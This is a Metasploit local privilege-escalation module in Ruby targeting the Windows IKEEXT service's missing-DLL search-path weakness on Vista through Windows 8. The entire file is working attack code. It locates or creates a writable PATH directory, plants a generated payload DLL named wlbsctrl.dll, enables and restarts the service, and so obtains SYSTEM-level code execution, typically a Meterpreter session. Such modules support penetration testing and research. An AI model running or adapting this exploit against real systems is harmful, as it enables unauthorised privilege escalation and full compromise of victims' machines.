##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'msf/core/post/common'
require 'msf/core/post/windows/services'
require 'msf/core/post/windows/priv'
class Metasploit3 < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info={})
super( update_info( info,
'Name' => 'IKE and AuthIP IPsec Keyring Modules Service (IKEEXT) Missing DLL',
'Description' => %q{
This module exploits a missing DLL loaded by the 'IKE and AuthIP Keyring Modules'
(IKEEXT) service which runs as SYSTEM, and starts automatically in default
installations of Vista-Win8.
It requires an insecure bin path to plant the DLL payload.
},
'References' =>
[
['URL', 'https://www.htbridge.com/advisory/HTB23108'],
['URL', 'https://www.htbridge.com/vulnerability/uncontrolled-search-path-element.html']
],
'DisclosureDate' => "Oct 09 2012",
'License' => MSF_LICENSE,
'Author' =>
[
'Ben Campbell <eat_meatballs@hotmail.co.uk>'
],
'Platform' => [ 'win'],
'Targets' =>
[
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X86_64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0
))
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the DLL.", ""])
])
@service_name = 'IKEEXT'
@load_lib_search_path = [ '%SystemRoot%\\System32',
'%SystemRoot%\\System',
'%SystemRoot%'
]
@non_existant_dirs = []
end
def check_service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
print_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info['Name'].empty?
print_warning("Service #{service} does not exist.")
return false
else
return true
end
end
def check
srv_info = service_info(@service_name)
if !check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
vprint_status(srv_info.to_s)
case srv_info['Startup']
when 'Disabled'
print_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
print_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
print_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Vulnerable
end
def check_search_path
dll = 'wlbsctrl.dll'
@load_lib_search_path.each do |path|
dll_path = "#{expand_path(path)}\\#{dll}"
if file_exist?(dll_path)
print_warning("DLL already exists at #{dll_path}...")
return true
end
end
return false
end
def check_system_path
print_status("Checking %PATH% folders for write access...")
result = registry_getvaldata('HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment', 'Path')
if result.nil?
print_error("Unable to retrieve %PATH% from registry.")
return
end
paths = result.split(';')
paths.append(@load_lib_search_path).flatten!.uniq!
paths.each do |p|
path = expand_path(p)
if exist?(path)
if check_write_access(path)
return path
end
else
# User may be able to create the path...
print_status("Path #{path} does not exist...")
@non_existant_dirs << path
end
end
return nil
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good ("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def check_dirs
print_status("Attempting to create a non-existant PATH dir to use.")
@non_existant_dirs.each do |dir|
begin
client.fs.dir.mkdir(dir)
if exist?(dir)
register_file_for_cleanup(dir)
return dir
end
rescue Rex::Post::Meterpreter::RequestError => e
vprint_status("Unable to create dir: #{dir} - #{e}")
end
end
return nil
end
def check_session_arch
if sysinfo['Architecture'] =~ /x64/i
if payload_instance.arch.first == 'x86'
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
end
else
if payload_instance.arch.first =~ /64/i
fail_with(Exploit::Failure::BadConfig, "Wrong Payload Architecture")
end
end
end
def exploit
check_session_arch
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Exploit::Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Exploit::Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !check_service_exists?(@service_name)
fail_with(Exploit::Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
if datastore['DIR'].empty?
# If DLL already exists in system folders, we dont want to overwrite by accident
if check_search_path
fail_with(Exploit::Failure::NotVulnerable, "DLL already exists in system folders.")
end
file_path = check_system_path
file_path ||= check_dirs # If no paths are writable check to see if we can create any of the non-existant dirs
if file_path.nil?
fail_with(Exploit::Failure::NotVulnerable, "Unable to write to any folders in the PATH, aborting...")
end
else
# Use manually selected Dir
file_path = datastore['DIR']
end
@dll_file_path = "#{file_path}\\wlbsctrl.dll"
service_information = service_info(@service_name)
if service_information['Startup'] == 'Disabled'
print_status("Service is disabled, attempting to enable...")
service_change_startup(@service_name, 'auto')
service_information = service_info(@service_name)
# Still disabled
if service_information['Startup'] == 'Disabled'
fail_with(Exploit::Failure::NotVulnerable, "Unable to enable service, aborting...")
end
end
# Check architecture
dll = generate_payload_dll
#
# Drop the malicious executable into the path
#
print_status("Writing #{dll.length.to_s} bytes to #{@dll_file_path}...")
begin
write_file(@dll_file_path, dll)
register_file_for_cleanup(@dll_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Exploit::Failure::Unknown, e.message)
end
#
# Run the service, let the Windows API do the rest
#
print_status("Launching service #{@service_name}...")
begin
status = service_start(@service_name)
if status == 1
print_status("Service already running, attempting to restart...")
if service_stop(@service_name) == 0
print_status("Service stopped, attempting to start...")
if service_start(@service_name) == 0
print_status("Service started...")
else
fail_with(Exploit::Failure::Unknown, "Unable to start service.")
end
else
fail_with(Exploit::Failure::Unknown, "Unable to stop service")
end
elsif status == 0
print_status("Service started...")
end
rescue RuntimeError => e
raise e if e.kind_of? Msf::Exploit::Failed
if service_information['Startup'] == 'Manual'
fail_with(Exploit::Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
else
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
break if session_created?
select(nil,nil,nil,1)
end
else
fail_with(Exploit::Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
end
end
end
end